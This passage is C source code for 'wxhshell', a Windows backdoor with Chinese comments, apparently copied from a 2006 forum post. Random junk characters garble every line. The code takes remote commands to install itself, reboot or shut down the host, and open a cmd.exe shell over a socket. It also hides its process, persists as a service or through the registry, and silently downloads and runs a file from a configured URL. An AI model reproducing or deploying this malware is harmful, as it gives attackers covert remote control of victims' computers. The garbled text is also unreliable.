  // 帮助 *%z<P~}  
  case '?': { 2>`m<&y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^glbxbhI4  
    break; 1h& )I%`?  
  } P=}H1 #  
  // 安装 zl,bMtQ  
  case 'i': { 1\=pPys)  
    if(Install()) R20a(4 m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 56VE[G  
    else lu<Np9/5<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o&*1U"6D  
    break;   zd.1  
    } mJ7 `.  
  // 卸载 /0X0#+kn  
  case 'r': { dawVE O  
    if(Uninstall()) B6^w{eXN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %kaTQ"PB  
    else aEV|>K=6Y'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n">?LN-DC  
    break; bEEJVF0  
    } g%Th_=qy  
  // 显示 wxhshell 所在路径 qT&S  
  case 'p': { kJVM3F%  
    char svExeFile[MAX_PATH]; zlC^  
    strcpy(svExeFile,"\n\r"); la!1[VeL  
      strcat(svExeFile,ExeFile); 0W!V V=j<}  
        send(wsh,svExeFile,strlen(svExeFile),0); E5v|SFD  
    break; j&o/X7I=  
    } =<Zwv\U  
  // 重启 >MBn2(\B;  
  case 'b': { uKaf{=*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7H/! rx  
    if(Boot(REBOOT)) rHA/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v3iDh8.__  
    else { (UbR%A|v;  
    closesocket(wsh); Q-H =wJ4R  
    ExitThread(0); ./aZV  
    } Q;{D8 #!  
    break; 9RbGa Y&  
    } :8p2Jxm  
  // 关机 dn:|m^<)  
  case 'd': { hVTyv"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \= )[  
    if(Boot(SHUTDOWN)) (\[jf39e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z+5u/t  
    else { bw<~R2[  
    closesocket(wsh); GN}9$:  
    ExitThread(0); 6x`\ J2x  
    } od|N-R  
    break; _Ct@1}aa4x  
    } [rD+8,zVm  
  // 获取shell kM6 EZ`mj  
  case 's': { SF78 s:_!_  
    CmdShell(wsh); :BC<+T=  
    closesocket(wsh); +dPE!:  
    ExitThread(0); OsHkAI  
    break; PW~cqo B71  
  } .q~,.yI&j  
  // 退出 #b<lt'gC  
  case 'x': { T-<>)N5y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uv_P{%TK  
    CloseIt(wsh); *NX*/(Q  
    break; *$*nY [/5  
    } iq[2H$  
  // 离开 o} bj!h]N  
  case 'q': { #I*ht0++  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7csl1|U  
    closesocket(wsh); /3"e3{u y  
    WSACleanup(); oIu,rjb  
    exit(1); o i,g  
    break; & Q|f*T  
        } iZVT% A+q  
  } ;]8p:ME  
  } H/ B^N,oi  
CC]@`R5  
  // 提示信息 Is#v6:#^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m+G0<E%  
}  9\W5   
  } ~-o^eI4_  
s OrY^cY;  
  return; XEe+&VQmY  
} k(w9vt0?  
RvgAI`T7$  
// shell模块句柄 =*U%j  
int CmdShell(SOCKET sock) mF$jC:Tb  
{ d/-0B<ts  
STARTUPINFO si; @)!1#^(}%  
ZeroMemory(&si,sizeof(si)); #L)4 |  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7\|NYT4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GoZJDE3  
PROCESS_INFORMATION ProcessInfo; JUUF^/J  
char cmdline[]="cmd"; Qnu&GBM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c]:J/'vc  
  return 0; c^q O@%s  
} VN55!l'OV  
rg]A_(3Bb  
// 自身启动模式 II f >z_m  
int StartFromService(void) ]#Z$jq{,  
{ Q& unA3  
typedef struct J{'zkR?Lr  
{ tz \:r>3vI  
  DWORD ExitStatus; z 2EI"'4\9  
  DWORD PebBaseAddress; c]/O^/  
  DWORD AffinityMask; tMs| UC  
  DWORD BasePriority; WZy6K(18"'  
  ULONG UniqueProcessId; P.2.Ge|  
  ULONG InheritedFromUniqueProcessId; B39PDJ]hu  
}   PROCESS_BASIC_INFORMATION; {)dEO0 p  
4UX]S\X  
PROCNTQSIP NtQueryInformationProcess;  p% YvP  
+~v3D^L15  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .L 5T4)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D} <o<Dk  
GE|^ryh  
  HANDLE             hProcess; 2%No>w}/2  
  PROCESS_BASIC_INFORMATION pbi; ]nr BmKB  
t$kf'An}/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xhoLQD  
  if(NULL == hInst ) return 0; H2t pP~!G  
oXZ@*   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &rtz&}ZB;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A`ertSlbhe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N*4IxY'vX/  
uq1(yyWp(  
  if (!NtQueryInformationProcess) return 0; }A&Xxh!Fwo  
J&0wl]w|O%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ga/\kO)x_  
  if(!hProcess) return 0;  "%@=?X8  
GlkAJe]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pU)3*9?cIl  
!j\&BAxTEk  
  CloseHandle(hProcess); {bsr 9.k(  
H_nOE(i<z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sp]y!zb"5  
if(hProcess==NULL) return 0; %X-&yGY  
SoON@h/  
HMODULE hMod; /3:IE%o  
char procName[255]; YdL1(|EdM  
unsigned long cbNeeded; ,EJ [I^  
DD{@lM\vc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )<&CnK  
!5 :1'$d]H  
  CloseHandle(hProcess); { 'mY>s 7  
)-Sl/ G  
if(strstr(procName,"services")) return 1; // 以服务启动 vkauX :M  
7-0twq   
  return 0; // 注册表启动 o9SfWErZ  
} b}{9 :n/SC  
>|&OcU  
// 主模块 ba:du |Ec  
int StartWxhshell(LPSTR lpCmdLine) RgzSaP;;  
{ 2|H'j~  
  SOCKET wsl; U3iyuE  
BOOL val=TRUE; ng)yCa_Ny  
  int port=0; [g 68O*  
  struct sockaddr_in door; K#pt8Q  
%!/liS  
  if(wscfg.ws_autoins) Install(); #i#.tc  
$ax%K?MBD  
port=atoi(lpCmdLine); )k<~}wvQ0  
=+#RyV  
if(port<=0) port=wscfg.ws_port; xg%]\#  
<:}AC{I  
  WSADATA data; IHX#BY>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MM)/B>cQt  
ykl=KR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n'(n4qH2#s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Tqh Rs  
  door.sin_family = AF_INET; uN^qfJ'@ >  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *[/Xhx"  
  door.sin_port = htons(port); 4]Nr$FY  
3ncvM>~g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vM;dPE7  
closesocket(wsl); qk{UO <  
return 1; [#h!3d|?B  
} oUS>p":  
+?g,&NE  
  if(listen(wsl,2) == INVALID_SOCKET) { \}Kp=8@nE  
closesocket(wsl); xB]v  
return 1; ?d`+vHK]>  
} Vt2=rD4oJk  
  Wxhshell(wsl); AS-t][m#  
  WSACleanup(); XA^:n+Yo  
,]N%(>ot  
return 0; >knR>96  
G:s:NXy^  
} jWm BUHCb  
i(;u6Rk  
// 以NT服务方式启动 ^i k|l=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J0 z0%p   
{ ">^]^wa08  
DWORD   status = 0; >~8Df61o`  
  DWORD   specificError = 0xfffffff; b4OR`dd*J  
31\^9w__8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gMMd=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @+vTGjHA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %QZ!Tb  
  serviceStatus.dwWin32ExitCode     = 0; <"P '"SC  
  serviceStatus.dwServiceSpecificExitCode = 0; S; <?nz3  
  serviceStatus.dwCheckPoint       = 0; 3@bjIX`=H  
  serviceStatus.dwWaitHint       = 0; ]xeyXw84k  
V zx(J)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bo/!u s#  
  if (hServiceStatusHandle==0) return; FPFYH?;$  
C)kQi2T  
status = GetLastError(); eBKIdR%k  
  if (status!=NO_ERROR) ;5_S  
{ wx 'Tv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ty=?SZF  
    serviceStatus.dwCheckPoint       = 0; 2g545r.  
    serviceStatus.dwWaitHint       = 0; \<>%_y'/)h  
    serviceStatus.dwWin32ExitCode     = status; a<36`#N  
    serviceStatus.dwServiceSpecificExitCode = specificError; +W4g:bB1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }&hgedx  
    return; "x^bl+_"  
  } zUu>kJZ  
-+Dvyr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1qN9bwRO  
  serviceStatus.dwCheckPoint       = 0; *\vc_NP]  
  serviceStatus.dwWaitHint       = 0; 3k0%H]wt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bj^m<}   
} uQ1;+P:L  
*0zH5c  
// 处理NT服务事件,比如:启动、停止 xT8"+}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z1 px^#  
{ m?`Rl6!@8\  
switch(fdwControl) ea+rjvm  
{ *G=AhH$t  
case SERVICE_CONTROL_STOP: c'qM$KN9G  
  serviceStatus.dwWin32ExitCode = 0; mf'1.{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B.WkHY%/  
  serviceStatus.dwCheckPoint   = 0; j( :A  
  serviceStatus.dwWaitHint     = 0; z Pc;[uHT  
  { .AW*7Pp`f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Q1GV>j>B  
  } MF(~!SOIG  
  return; 3%a37/|~y  
case SERVICE_CONTROL_PAUSE: :.Sc[UI0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kl9z;(6p  
  break; k| o,gcU  
case SERVICE_CONTROL_CONTINUE: =*U24B*U93  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @>j \~<%  
  break; c[7qnSH  
case SERVICE_CONTROL_INTERROGATE: dVfDS-v!  
  break; g7F Z -  
}; `:4cb $  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ijYLf.R<  
} va;wQ~&  
qZ }XjL  
// 标准应用程序主函数 N|LVLsK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?O ?~|nI  
{ bm.H0rHR4  
QD~ `UJe>  
// 获取操作系统版本 'b,D;'v  
OsIsNt=GetOsVer(); c y$$}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r&DK> H  
!:e qPpz  
  // 从命令行安装 Qd?P[xm  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0^z$COCv  
[9^e u>)A  
  // 下载执行文件 jwox?]f+  
if(wscfg.ws_downexe) { , &SJ?XAs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G#v7-&Yl6  
  WinExec(wscfg.ws_filenam,SW_HIDE); d`/{0:F  
} S8,06/#  
ISmnZ@  
if(!OsIsNt) { <,C})H?  
// 如果时win9x,隐藏进程并且设置为注册表启动 T5;D0tM/  
HideProc(); m`"s$\fah  
StartWxhshell(lpCmdLine); KA#-X2U/  
} iH=@``Z  
else -;*Z!|e9  
  if(StartFromService()) Mw. +0R!T  
  // 以服务方式启动 w%\;|y4+  
  StartServiceCtrlDispatcher(DispatchTable); w>s  
else ZP<X#]$qb  
  // 普通方式启动 Y."[k&P-  
  StartWxhshell(lpCmdLine); ja2]VbB  
)f rtvN7  
return 0; A9gl|II  
}
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只看该作者 1 发表于: 2006-10-10
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